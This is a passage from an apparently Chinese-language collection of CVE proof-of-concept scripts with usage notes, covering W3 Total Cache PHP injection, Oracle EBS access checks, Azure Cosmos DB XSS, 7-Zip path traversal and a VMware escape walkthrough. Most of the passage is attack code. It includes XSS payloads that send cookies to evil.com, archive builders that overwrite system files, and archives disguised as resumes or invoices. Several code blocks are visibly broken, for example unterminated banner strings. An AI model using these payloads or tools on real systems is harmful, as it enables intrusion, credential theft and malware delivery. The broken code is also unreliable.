                print(f"{Fore.RED}[!] 未检测到WordPress站点")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_mfunc(self, secret, php_code='phpinfo();'):
        """
        利用mfunc标签注入执行PHP代码
        
        漏洞原理：通过注入<!-- mfunc -->标签执行PHP代码
        前提：需要知道W3TC_DYNAMIC_SECURITY常量的值
        """
        print(f"{Fore.YELLOW}[•] 正在尝试利用mfunc注入...")
        print(f"{Fore.YELLOW}[•] 目标代码: {php_code}")
        
        if not secret:
            print(f"{Fore.RED}[!] 错误: 需要提供W3TC_DYNAMIC_SECURITY值")
            return False
        
        try:
            # 构造恶意的mfunc标签
            # 格式：<!-- mfunc security_value -->PHP代码<!-- /mfunc security_value -->
            malicious_comment = f"<!-- mfunc {secret} -->{php_code}<!-- /mfunc {secret} -->"
            
            # 尝试在评论中注入（如果评论功能开放）
            comment_url = f"{self.url}/wp-comments-post.php"
            
            data = {
                'comment': malicious_comment,
                'author': 'Security Test',
                'email': 'test@example.com'
            }
            
            print(f"{Fore.YELLOW}[•] 尝试注入评论...")
            response = self.session.post(comment_url, data=data, timeout=self.timeout)
            
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            if response.status_code == 200:
                print(f"{Fore.GREEN}[+] 评论提交成功（可能需要等待缓存刷新）")
                print(f"{Fore.YELLOW}[!] 实际利用需要:")
                print(f"{Fore.YELLOW}   1. Page Cache已启用")
                print(f"{Fore.YELLOW}   2. 未认证用户可评论")
                print(f"{Fore.YELLOW}   3. 正确的W3TC_DYNAMIC_SECURITY值")
                return True
            else:
                print(f"{Fore.RED}[!] 评论提交失败")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def test_cache_directories(self):
        """测试缓存目录可访问性"""
        print(f"{Fore.YELLOW}[•] 正在测试缓存目录...")
        
        cache_paths = [
            '/wp-content/cache/',
            '/wp-content/w3tc-config/',
            '/wp-content/uploads/w3tc/'
        ]
        
        for path in cache_paths:
            url = f"{self.url}{path}"
            try:
                response = self.session.get(url, timeout=self.timeout)
                print(f"{Fore.YELLOW}[•] {path}: HTTP {response.status_code}")
                
                if response.status_code == 200:
                    print(f"{Fore.GREEN}[+] 缓存目录可访问: {url}")
            except requests.RequestException:
                pass


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.YELLOW}{Style.BRIGHT}
██████╗ ███████╗ █████╗ ██████╗
██╔══██╗██╔════╝██╔══██╗██╔══██╗
██████╔╝█████╗  ███████║██║  ██║
██╔══██╗██╔══╝  ██╔══██║██║  ██║
██║  ██║███████╗██║  ██║██████╔╝
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝

漏洞原理

  1. eval()危险函数：直接使用eval()执行用户可控的代码
  2. mfunc标签解析：未正确验证mfunc标签中的内容
  3. 缓存机制：恶意代码被缓存并持续执行
  4. 配置泄露：需要知道W3TC_DYNAMIC_SECURITY值

防护建议

  1. 更新插件：升级至最新版本
  2. 禁用功能：禁用动态内容缓存功能
  3. 修改密钥：更改W3TC_DYNAMIC_SECURITY值
  4. 访问控制：限制WordPress评论功能
  5. WAF防护：拦截恶意的mfunc标签

7. CVE-2025-53072 - Oracle Marketing RCE

漏洞概述

  • CVE编号: CVE-2025-53072
  • CVSS评分: 9.8 (Critical)
  • 漏洞类型: 远程未授权代码执行
  • 影响产品: Oracle E-Business Suite Marketing Administration
  • 影响版本: 12.2.3 – 12.2.14
  • 修复版本: 2025年10月CPU
  • 发布日期: 2025年10月21日

漏洞描述

Oracle E-Business Suite的Oracle Marketing Administration组件存在严重远程未授权漏洞。攻击者可通过精心构造的HTTP请求利用此漏洞，完全控制受影响的应用程序。漏洞的根本原因是管理端点访问验证不足，允许未经身份验证的远程操作。

POC工具作用

  • 检测Oracle EBS Marketing组件是否暴露
  • 验证端点访问控制
  • 测试未授权访问能力
  • 执行概念验证请求

使用方法

bash

# 检测漏洞
python CVE-2025-53072.py check http://oracle-ebs.target.com

# 测试端点访问
python CVE-2025-53072.py test http://oracle-ebs.target.com --endpoint "/marketing/admin"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-53072 - Oracle Marketing Administration RCE PoC
Author: Security Research
License: MIT
CVSS Score: 9.8 (Critical)
"""

import requests
import argparse
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class OracleExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'text/html,application/xhtml+xml',
        })

    def check_vulnerability(self):
        """检测Oracle EBS是否存在漏洞"""
        print(f"{Fore.YELLOW}[•] 正在检测Oracle EBS...")
        
        try:
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查Oracle EBS特征
            oracle_signatures = [
                'Oracle E-Business Suite',
                'E-Business Suite',
                '/OA_HTML/',
                '/OA_MEDIA/',
                'oracle.apps'
            ]
            
            for signature in oracle_signatures:
                if signature in response.text:
                    print(f"{Fore.GREEN}[+] 检测到Oracle E-Business Suite")
                    return True
            
            print(f"{Fore.RED}[!] 未检测到Oracle EBS特征")
            return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def test_endpoint_access(self, endpoint="/marketing/admin"):
        """测试管理端点的未授权访问"""
        print(f"{Fore.YELLOW}[•] 正在测试端点访问...")
        print(f"{Fore.YELLOW}[•] 目标端点: {endpoint}")
        
        try:
            test_url = f"{self.url}{endpoint}"
            response = self.session.get(test_url, timeout=self.timeout, allow_redirects=False)
            
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            print(f"{Fore.YELLOW}[•] Content-Length: {len(response.content)}")
            
            # 检查是否需要认证
            if response.status_code == 401:
                print(f"{Fore.GREEN}[+] 端点存在但需要认证（可能修复或非受影响版本）")
                return False
            elif response.status_code == 403:
                print(f"{Fore.YELLOW}[!] 端点被禁止访问")
                return False
            elif response.status_code == 404:
                print(f"{Fore.RED}[!] 端点不存在")
                return False
            elif response.status_code == 200:
                print(f"{Fore.GREEN}[+] 可能存在未授权访问漏洞！")
                print(f"{Fore.CYAN}[+] 响应长度: {len(response.content)} bytes")
                
                # 检查响应内容
                if 'login' not in response.text.lower() and 'authentication' not in response.text.lower():
                    print(f"{Fore.GREEN}[+] 响应未包含认证页面，可能成功绕过")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 响应可能包含认证表单")
                    return False
            else:
                print(f"{Fore.YELLOW}[?] 未知响应状态")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_rce(self):
        """
        执行RCE攻击（概念验证）
        
        注意：此漏洞的实际利用需要更多细节，此处仅演示请求流程
        """
        print(f"{Fore.YELLOW}[•] 正在尝试执行RCE...")
        print(f"{Fore.RED}[!] 警告: 此为概念验证，实际利用需要进一步分析")
        
        # 尝试常见的Oracle EBS攻击端点
        endpoints_to_test = [
            "/OA_HTML/RF.jsp?function_id=...",
            "/marketing/admin",
            "/OA_HTML/AppsLocalLogin.jsp"
        ]
        
        for endpoint in endpoints_to_test:
            print(f"{Fore.YELLOW}[•] 测试端点: {endpoint}")
            result = self.test_endpoint_access(endpoint)
            if result:
                print(f"{Fore.GREEN}[+] 发现可利用端点！")
                return True
        
        return False


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.RED}{Style.BRIGHT}
██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███████╗
██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝
██████╔╝█████╗  ███████║██║  ██║██████╔╝███████╗
██╔══██╗██╔══╝  ██╔══██║██║  ██║██╔══██╗╚════██║
██║  ██║███████╗██║  ██║██████╔╝██║  ██║███████║
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝╚══════╝

漏洞原理

  1. 访问控制缺失：管理端点缺少身份验证
  2. 未授权操作：允许未认证用户执行管理操作
  3. 远程执行：通过HTTP请求触发代码执行
  4. 完全控制：获取应用程序完整控制权

防护建议

  1. 应用补丁：安装2025年10月CPU
  2. 网络隔离：限制EBS系统的网络访问
  3. 访问控制：强化管理端点的身份验证
  4. 监控告警：监控异常的管理操作
  5. 版本升级：升级至最新版本

8. CVE-2025-64675 - Azure Cosmos DB XSS

漏洞概述

  • CVE编号: CVE-2025-64675
  • CVSS评分: 8.3 (High)
  • 漏洞类型: 跨站脚本攻击（XSS）
  • 影响产品: Microsoft Azure Cosmos DB
  • 影响范围: 全量主流部署版本
  • 发布日期: 2025年12月

漏洞描述

Azure Cosmos DB管理控制台前端交互层存在高危XSS漏洞，涉及数据查询参数录入模块、自定义视图配置提交模块、数据导入导出文件名参数处理模块、查询结果可视化展示模块四大核心入口。该漏洞因攻击门槛低、影响范围广且可能引发跨租户数据泄露，被评定为高危漏洞。

POC工具作用

  • 检测Azure Cosmos DB控制台是否存在XSS漏洞
  • 测试不同输入模块的过滤机制
  • 生成XSS payload
  • 验证DOM型和存储型XSS

使用方法

bash

# 检测漏洞
python CVE-2025-64675.py check https://cosmos-db.target.com

# 生成XSS payload
python CVE-2025-64675.py generate --type "reflected"

# 测试注入点
python CVE-2025-64675.py test https://cosmos-db.target.com --module "query"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-64675 - Azure Cosmos DB XSS PoC
Author: Security Research
License: MIT
CVSS Score: 8.3 (High)
"""

import requests
import argparse
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class CosmosDBExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'application/json, text/html',
        })

    def check_vulnerability(self):
        """检测Azure Cosmos DB控制台"""
        print(f"{Fore.YELLOW}[•] 正在检测Azure Cosmos DB...")
        
        try:
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查Azure Cosmos DB特征
            cosmos_signatures = [
                'Azure Cosmos DB',
                'cosmos.azure',
                'documents.azure',
                'cosmosdb',
                'Data Explorer'
            ]
            
            for signature in cosmos_signatures:
                if signature in response.text.lower() or signature in response.headers:
                    print(f"{Fore.GREEN}[+] 检测到Azure Cosmos DB实例")
                    return True
            
            print(f"{Fore.RED}[!] 未检测到Azure Cosmos DB特征")
            return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def generate_payloads(self, xss_type='reflected'):
        """生成XSS payload"""
        print(f"{Fore.YELLOW}[•] 生成XSS payload...")
        
        payloads = {
            'reflected': [
                '<script>alert("XSS")</script>',
                '<img src=x onerror=alert("XSS")>',
                '<svg onload=alert("XSS")>',
                '"><script>alert("XSS")</script>',
                "'><script>alert('XSS')</script>",
                'javascript:alert("XSS")',
                '<body onload=alert("XSS")>',
                '<input onfocus=alert("XSS") autofocus>',
                '<details open ontoggle=alert("XSS")>',
                '<iframe src="javascript:alert('XSS')">'
            ],
            'dom': [
                '#<img src=x onerror=alert("DOM XSS")>',
                '"><script>alert(document.cookie)</script>',
                '<script>document.location="http://evil.com?c="+document.cookie</script>',
                '<script>fetch("http://evil.com?c="+document.cookie)</script>'
            ],
            'stored': [
                '<script>new Image().src="http://evil.com/steal.php?c="+document.cookie</script>',
                '<script src="http://evil.com/malicious.js"></script>',
                '<body onload=eval(atob("YWxlcnQoIlN0b3JlZCBYU1MiKQ=="))>'
            ],
            'encoded': [
                '%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E',
                '%253Cscript%253Ealert%2528%2522XSS%2522%2529%253C%252Fscript%253E',
                '&#x3C;script&#x3E;alert(&#x22;XSS&#x22;)&#x3C;/script&#x3E;'
            ]
        }
        
        if xss_type in payloads:
            print(f"{Fore.GREEN}[+] {xss_type.upper()} XSS Payloads:")
            for i, payload in enumerate(payloads[xss_type], 1):
                print(f"{Fore.CYAN}  {i}. {payload}")
            return payloads[xss_type]
        else:
            print(f"{Fore.RED}[!] 未知的XSS类型")
            return []

    def test_injection_point(self, module='query'):
        """测试不同的注入点"""
        print(f"{Fore.YELLOW}[•] 测试注入点: {module}")
        
        # 不同模块的测试端点
        injection_points = {
            'query': f"{self.url}/dbs/*/colls/*/docs",
            'view': f"{self.url}/views",
            'import': f"{self.url}/import",
            'export': f"{self.url}/export",
            'visualize': f"{self.url}/visualize"
        }
        
        if module not in injection_points:
            print(f"{Fore.RED}[!] 未知的模块: {module}")
            return False
        
        base_url = injection_points[module]
        
        # 生成测试payload
        test_payload = '<img src=x onerror=alert("CVE-2025-64675")>'
        
        try:
            # 尝试GET注入
            print(f"{Fore.YELLOW}[•] 尝试GET参数注入...")
            response = self.session.get(
                f"{base_url}?query={test_payload}",
                timeout=self.timeout
            )
            
            if test_payload in response.text:
                print(f"{Fore.GREEN}[+] GET参数可能存在XSS（payload在响应中）")
                return True
            
            # 尝试POST注入
            print(f"{Fore.YELLOW}[•] 尝试POST数据注入...")
            response = self.session.post(
                base_url,
                json={'name': test_payload},
                timeout=self.timeout
            )
            
            if test_payload in response.text:
                print(f"{Fore.GREEN}[+] POST数据可能存在XSS（payload在响应中）")
                return True
            
            print(f"{Fore.YELLOW}[?] 未检测到明显的XSS注入")
            return False
            
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def test_encoding_bypass(self):
        """测试编码绕过"""
        print(f"{Fore.YELLOW}[•] 测试编码绕过技术...")
        
        # 编码变体
        encoded_payloads = [
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(/XSS/.source)</script>',
            '<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")</script>',
            '<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#88;&#83;&#83;&#34;&#41;>'
        ]
        
        for payload in encoded_payloads:
            print(f"{Fore.YELLOW}[•] 测试: {payload[:50]}...")
            # 这里可以添加实际的测试逻辑
            pass
        
        print(f"{Fore.GREEN}[+] 编码绕过payload已生成")
        return True


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.BLUE}{Style.BRIGHT}
██████╗ ██████╗ ███████╗ █████╗ ██╗      ██████╗ 
██╔══██╗██╔══██╗██╔════╝██╔══██╗██║     ██╔═══██╗
██████╔╝██████╔╝███████╗███████║██║     ██║   ██║
██╔══██╗██╔══██╗╚════██║██╔══██║██║     ██║   ██║
██║  ██║██║  ██║███████║██║  ██║███████╗╚██████╔╝
╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝

漏洞原理

  1. 输入验证缺失：采用黑名单过滤替代白名单验证
  2. XSS双重特性：同时存在DOM型和存储型XSS
  3. 输出编码遗漏：未对输出进行HTML实体编码
  4. 过滤规则失效：变异载荷可绕过过滤

防护建议

  1. 应用补丁：安装微软安全补丁
  2. 白名单验证：实施严格的输入白名单
  3. 输出编码：对所有用户输入进行HTML实体编码
  4. WAF防护：配置XSS防护规则
  5. CSP策略：实施内容安全策略

9. CVE-2025-11001/11002 - 7-Zip 漏洞

漏洞概述

  • CVE编号: CVE-2025-11001, CVE-2025-11002
  • CVSS评分: High
  • 漏洞类型: 目录遍历、任意代码执行
  • 影响产品: 7-Zip < 25.00
  • 修复版本: 25.00+
  • 发布日期: 2025年

漏洞描述

7-Zip中存在两处高危漏洞，攻击者可将恶意压缩包伪装成简历、发票或项目文件，诱骗用户使用7-Zip解压。漏洞可导致目录遍历攻击，覆盖系统中任意位置的文件，或触发预先植入的恶意代码。

POC工具作用

  • 生成恶意7-Zip文件
  • 测试目录遍历漏洞
  • 验证文件覆盖能力
  • 生成概念验证载荷

使用方法

bash

# 生成恶意压缩包
python CVE-2025-11001.py generate --output malicious.7z --target "C:/Windows/System32/"

# 测试漏洞
python CVE-2025-11001.py test --archive test.7z

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-11001/11002 - 7-Zip Vulnerabilities PoC
Author: Security Research
License: MIT
CVSS Score: High
"""

import os
import argparse
import zipfile
import tempfile
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class ZipExploit:
    def __init__(self):
        pass

    def generate_malicious_zip(self, output_file, target_path, payload_content="MALICIOUS PAYLOAD"):
        """
        生成存在目录遍历漏洞的恶意ZIP文件
        
        漏洞原理：通过构造特殊的文件名实现目录遍历
        """
        print(f"{Fore.YELLOW}[•] 正在生成恶意ZIP文件...")
        print(f"{Fore.YELLOW}[•] 目标路径: {target_path}")
        
        try:
            # 创建临时目录
            with tempfile.TemporaryDirectory() as temp_dir:
                # 构造恶意文件名
                # 使用../实现目录遍历
                malicious_filename = f"../../../{target_path}/malicious.txt"
                
                # 创建恶意文件
                malicious_file = os.path.join(temp_dir, "test.txt")
                with open(malicious_file, 'w') as f:
                    f.write(payload_content)
                
                # 创建ZIP文件并使用恶意文件名
                with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf:
                    # 关键：使用路径遍历作为arcname
                    zf.write(malicious_file, malicious_filename)
                
                print(f"{Fore.GREEN}[+] 恶意ZIP文件已生成: {output_file}")
                
                # 显示ZIP内容
                with zipfile.ZipFile(output_file, 'r') as zf:
                    print(f"{Fore.CYAN}[+] ZIP内容:")
                    for info in zf.infolist():
                        print(f"{Fore.CYAN}  - {info.filename}")
                
                return True
                
        except Exception as e:
            print(f"{Fore.RED}[!] 生成失败: {e}")
            return False

    def generate_double_exploit(self, output_file):
        """
        生成结合CVE-2025-11001和CVE-2025-11002的恶意文件
        
        CVE-2025-11001: 目录遍历
        CVE-2025-11002: 任意代码执行触发
        """
        print(f"{Fore.YELLOW}[•] 正在生成双重漏洞利用文件...")
        
        try:
            # 创建临时目录
            with tempfile.TemporaryDirectory() as temp_dir:
                # Payload 1: 目录遍历覆盖系统文件
                traversal_file = os.path.join(temp_dir, "config.ini")
                with open(traversal_file, 'w') as f:
                    f.write("[AutoRun]\nExecute=calc.exe")
                
                # Payload 2: 触发代码执行
                trigger_file = os.path.join(temp_dir, "trigger.txt")
                with open(trigger_file, 'w') as f:
                    f.write("TRIGGER")
                
                with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf:
                    # 路径遍历载荷
                    zf.write(traversal_file, "../../../Windows/System32/config.ini")
                    # 触发载荷
                    zf.write(trigger_file, "trigger.txt")
                
                print(f"{Fore.GREEN}[+] 双重漏洞利用文件已生成: {output_file}")
                print(f"{Fore.YELLOW}[!] 包含:")
                print(f"{Fore.YELLOW}  1. 目录遍历（CVE-2025-11001）")
                print(f"{Fore.YELLOW}  2. 代码执行触发（CVE-2025-11002）")
                
                return True
                
        except Exception as e:
            print(f"{Fore.RED}[!] 生成失败: {e}")
            return False

    def test_zip_file(self, zip_path):
        """测试ZIP文件是否存在可疑的路径遍历"""
        print(f"{Fore.YELLOW}[•] 正在分析ZIP文件...")
        
        if not os.path.exists(zip_path):
            print(f"{Fore.RED}[!] 文件不存在: {zip_path}")
            return False
        
        try:
            with zipfile.ZipFile(zip_path, 'r') as zf:
                print(f"{Fore.CYAN}[+] ZIP内容:")
                found_traversal = False
                
                for info in zf.infolist():
                    filename = info.filename
                    print(f"{Fore.CYAN}  - {filename}")
                    
                    # 检测路径遍历
                    if '../' in filename or '..\' in filename:
                        print(f"{Fore.RED}[!] 发现路径遍历: {filename}")
                        found_traversal = True
                    
                    # 检测绝对路径
                    if filename.startswith('/') or (len(filename) > 1 and filename[1] == ':'):
                        print(f"{Fore.RED}[!] 发现绝对路径: {filename}")
                        found_traversal = True
                
                if found_traversal:
                    print(f"{Fore.GREEN}[+] 该ZIP文件可能存在目录遍历漏洞")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 未检测到明显的路径遍历")
                    return False
                    
        except Exception as e:
            print(f"{Fore.RED}[!] 分析失败: {e}")
            return False

    def generate_social_engineering(self, output_file, template="resume"):
        """
        生成用于社会工程学攻击的恶意ZIP文件
        
        Args:
            output_file: 输出文件名
            template: 模板类型 (resume, invoice, report)
        """
        print(f"{Fore.YELLOW}[•] 正在生成社会工程学载荷...")
        print(f"{Fore.YELLOW}[•] 模板: {template}")
        
        # 社会工程学模板
        templates = {
            "resume": {
                "filename": "John_Doe_Resume_2025.zip",
                "files": ["resume.pdf", "cover_letter.docx"]
            },
            "invoice": {
                "filename": "INV-2025-001.zip",
                "files": ["invoice.pdf", "payment_details.xlsx"]
            },
            "report": {
                "filename": "Q4_2025_Report.zip",
                "files": ["financial_report.pdf", "summary.docx"]
            }
        }
        
        if template not in templates:
            print(f"{Fore.RED}[!] 未知的模板: {template}")
            return False
        
        tmpl = templates[template]
        real_output = os.path.join(os.path.dirname(output_file), tmpl["filename"])
        
        try:
            with tempfile.TemporaryDirectory() as temp_dir:
                with zipfile.ZipFile(real_output, 'w', zipfile.ZIP_DEFLATED) as zf:
                    for file in tmpl["files"]:
                        # 创建正常文件
                        file_path = os.path.join(temp_dir, file)
                        with open(file_path, 'w') as f:
                            f.write(f"Legitimate {file} content")
                        zf.write(file_path, file)
                    
                    # 添加隐藏的恶意载荷
                    malicious_path = os.path.join(temp_dir, "hidden.exe")
                    with open(malicious_path, 'w') as f:
                        f.write("MALICIOUS EXECUTABLE")
                    # 使用路径遍历隐藏在深层目录
                    zf.write(malicious_path, f"../../../{file}/../../hidden.exe")
                
                print(f"{Fore.GREEN}[+] 社会工程学载荷已生成: {real_output}")
                print(f"{Fore.YELLOW}[!] 包含正常文件隐藏恶意载荷")
                
                return True
                
        except Exception as e:
            print(f"{Fore.RED}[!] 生成失败: {e}")
            return False


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.YELLOW}{Style.BRIGHT}
 █████╗ ██╗███████╗██████╗ ██████╗ ██████╗ ██████╗ ███████╗
██╔══██╗██║██╔════╝██╔══██╗██╔═══██╗██╔══██╗██╔══██╗██╔════╝
███████║██║███████╗██████╔╝██║   ██║██║  ██║██║  ██║███████╗
██╔══██║██║╚════██║██╔══██╗██║   ██║██║  ██║██║  ██║╚════██║
██║  ██║██║███████║██████╔╝╚██████╔╝██████╔╝██████╔╝███████║
╚═╝  ╚═╝╚═╝╚══════╝╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝

╔════════════════════════════════════════════════════════════════╗
║ 7-Zip Directory Traversal & Code Execution PoC                 ║
║ CVE ID       : CVE-2025-11001 / CVE-2025-11002                ║
║ CVSS Score   : High                                            ║
║ Attack Vector : Malicious Archive + Path Traversal            ║
║ Affected     : 7-Zip < 25.00                                   ║
╚════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")

漏洞原理

  1. 目录遍历：使用../突破目录限制
  2. 文件覆盖：覆盖系统关键文件
  3. 代码执行：触发预先植入的恶意代码
  4. 社会工程学：伪装成正常文件诱骗用户

防护建议

  1. 立即升级：升级至25.00或更高版本
  2. 沙箱解压：在沙箱环境中解压未知来源的文件
  3. 杀毒扫描：解压前进行病毒扫描
  4. 用户教育：提高安全意识，谨慎打开未知文件
  5. 应用白名单：限制解压操作

10. CVE-2025-22224系列 - VMware 虚拟化漏洞

漏洞概述

  • CVE编号: CVE-2025-22224, CVE-2025-22225, CVE-2025-22226

  • CVSS评分: 9.3 (Critical - CVE-2025-22224)

  • 漏洞类型: VM逃逸、权限提升、凭证泄露

  • 影响产品:

    • VMware ESXi < 8.0U3d/7.0U3s/6.7
    • VMware Workstation < 17.6.3
    • VMware Fusion < 13.6.3

  • 发布日期: 2025年

漏洞描述

VMware虚拟化产品存在多个严重漏洞，形成完整攻击链。CVE-2025-22224是堆溢出漏洞，允许攻击者从VM内执行代码在宿主机上；CVE-2025-22225是任意写漏洞，实现权限提升；CVE-2025-22226是内存泄露漏洞，可窃取凭证。组合使用可实现VM逃逸并部署勒索软件。

POC工具作用

  • 检测VMware版本和漏洞状态
  • 模拟VM逃逸攻击流程
  • 测试内存泄露漏洞
  • 验证权限提升能力

使用方法

bash

# 检测漏洞
python CVE-2025-22224.py check --esxi 192.168.1.100

# 模拟攻击流程
python CVE-2025-22224.py simulate --target vm:ubuntu --host esxi

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-22224 Series - VMware Virtualization Vulnerabilities PoC
Author: Security Research
License: MIT
CVSS Score: 9.3 (Critical - CVE-2025-22224)
"""

import socket
import argparse
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class VMwareExploit:
    def __init__(self, target=None, port=443):
        self.target = target
        self.port = port
        self.timeout = 10

    def check_version(self, target_type='esxi'):
        """
        检测VMware产品版本
        
        注意：实际版本检测需要访问管理接口
        """
        print(f"{Fore.YELLOW}[•] 正在检测VMware版本...")
        print(f"{Fore.YELLOW}[•] 目标类型: {target_type}")
        
        if not self.target:
            print(f"{Fore.RED}[!] 需要指定目标地址")
            return False
        
        try:
            # 尝试连接到VMware管理端口
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            
            result = sock.connect_ex((self.target, self.port))
            
            if result == 0:
                print(f"{Fore.GREEN}[+] 成功连接到 {self.target}:{self.port}")
                print(f"{Fore.YELLOW}[!] 警告: 仅检测端口开放，需要更多信息确定版本")
                
                # 常见的VMware版本信息
                vulnerable_versions = {
                    'ESXi': ['< 8.0U3d', '< 7.0U3s', '< 6.7'],
                    'Workstation': ['< 17.6.3'],
                    'Fusion': ['< 13.6.3']
                }
                
                print(f"{Fore.CYAN}[+] 易受攻击的版本范围:")
                for product, versions in vulnerable_versions.items():
                    print(f"{Fore.CYAN}  {product}: {', '.join(versions)}")
                
                return True
            else:
                print(f"{Fore.RED}[!] 无法连接到目标")
                return False
                
        except Exception as e:
            print(f"{Fore.RED}[!] 检测失败: {e}")
            return False
        finally:
            sock.close()

    def simulate_vm_escape(self):
        """
        模拟VM逃逸攻击流程
        
        CVE-2025-22224: VMCI驱动堆溢出
        CVE-2025-22225: 任意写权限提升
        CVE-2025-22226: 内存泄露凭证窃取
        """
        print(f"{Fore.YELLOW}[•] 正在模拟VM逃逸攻击流程...")
        
        print(f"\n{Fore.CYAN}[=] 攻击链概述:")
        print(f"{Fore.CYAN}  1. CVE-2025-22224: VMCI驱动堆溢出 → 获取宿主机VMX进程代码执行")
        print(f"{Fore.CYAN}  2. CVE-2025-22225: 任意写漏洞 → 提升至内核级别权限")
        print(f"{Fore.CYAN}  3. CVE-2025-22226: 内存泄露 → 窃取vCenter凭证")
        print(f"{Fore.CYAN}  4. 横向移动 → 部署勒索软件")
        
        print(f"\n{Fore.YELLOW}[•] 步骤 1: 触发VMCI驱动堆溢出")
        print(f"{Fore.YELLOW}[!] 漏洞点: VMware VMCI驱动未正确验证数据包大小")
        print(f"{Fore.YELLOW}[!] 利用方式: 发送超大的VMCI数据包触发堆溢出")
        
        print(f"\n{Fore.YELLOW}[•] 步骤 2: 权限提升至内核级别")
        print(f"{Fore.YELLOW}[!] 漏洞点: CVE-2025-22225任意写漏洞")
        print(f"{Fore.YELLOW}[!] 利用方式: 修改关键内核数据结构")
        
        print(f"\n{Fore.YELLOW}[•] 步骤 3: 窃取凭证")
        print(f"{Fore.YELLOW}[!] 漏洞点: CVE-2025-22226内存泄露")
        print(f"{Fore.YELLOW}[!] 利用方式: 读取hypervisor内存中的凭证信息")
        
        print(f"\n{Fore.YELLOW}[•] 步骤 4: 部署恶意载荷")
        print(f"{Fore.YELLOW}[!] 攻击者可:")
        print(f"{Fore.YELLOW}[!]   - 加密所有VM")
        print(f"{Fore.YELLOW}[!]   - 删除备份和快照")
        print(f"{Fore.YELLOW}[!]   - 窃取敏感数据")
        
        print(f"\n{Fore.RED}[!] 警告: 实际利用需要管理员权限和特定环境")
        print(f"{Fore.RED}[!] 此PoC仅演示攻击流程，不包含实际利用代码")
        
        return True

    def test_memory_leak(self):
        """
        测试内存泄露漏洞
        
        CVE-2025-22226: Hypervisor内存泄露
        """
        print(f"{Fore.YELLOW}[•] 正在测试内存泄露漏洞...")
        
        print(f"{Fore.YELLOW}[!] 漏洞描述:")
        print(f"{Fore.YELLOW}[!] CVE-2025-22226允许攻击者从hypervisor内存中读取敏感信息")
        
        # 模拟检测过程
        print(f"\n{Fore.CYAN}[+] 检测项:")
        print(f"{Fore.CYAN}  1. 检查VMware版本是否受影响")
        print(f"{Fore.CYAN}  2. 检查VMCI功能是否启用")
        print(f"{Fore.CYAN}  3. 检查是否有未修补的内核模块")
        
        print(f"\n{Fore.YELLOW}[!] 实际测试需要:")
        print(f"{Fore.YELLOW}[!]   - 虚拟机访问权限")
        print(f"{Fore.YELLOW}[!]   - 调试工具和分析能力")
        print(f"{Fore.YELLOW}[!]   - 深入的逆向工程")
        
        return True

    def generate_iocs(self):
        """
        生成用于检测的IoC（入侵指标）
        """
        print(f"{Fore.YELLOW}[•] 正在生成IoC...")
        
        iocs = {
            "processes": [
                "w3wp.exe → cmd.exe → powershell.exe",
                "vmtoolsd.exe异常行为",
                "vmx进程异常连接"
            ],
            "files": [
                "C:\Windows\Temp\*.exe",
                "/var/tmp/malicious",
                "VMware目录下的可疑文件"
            ],
            "network": [
                "异常的VMCI连接",
                "未授权的vCenter访问",
                "与已知C2服务器的通信"
            ],
            "logs": [
                "ESXi hostd.log异常",
                "VMware日志中的错误消息",
                "系统日志中的异常活动"
            ]
        }
        
        print(f"\n{Fore.GREEN}[+] 入侵指标 (IoCs):")
        for category, items in iocs.items():
            print(f"\n{Fore.CYAN}[{category.upper()}]")
            for item in items:
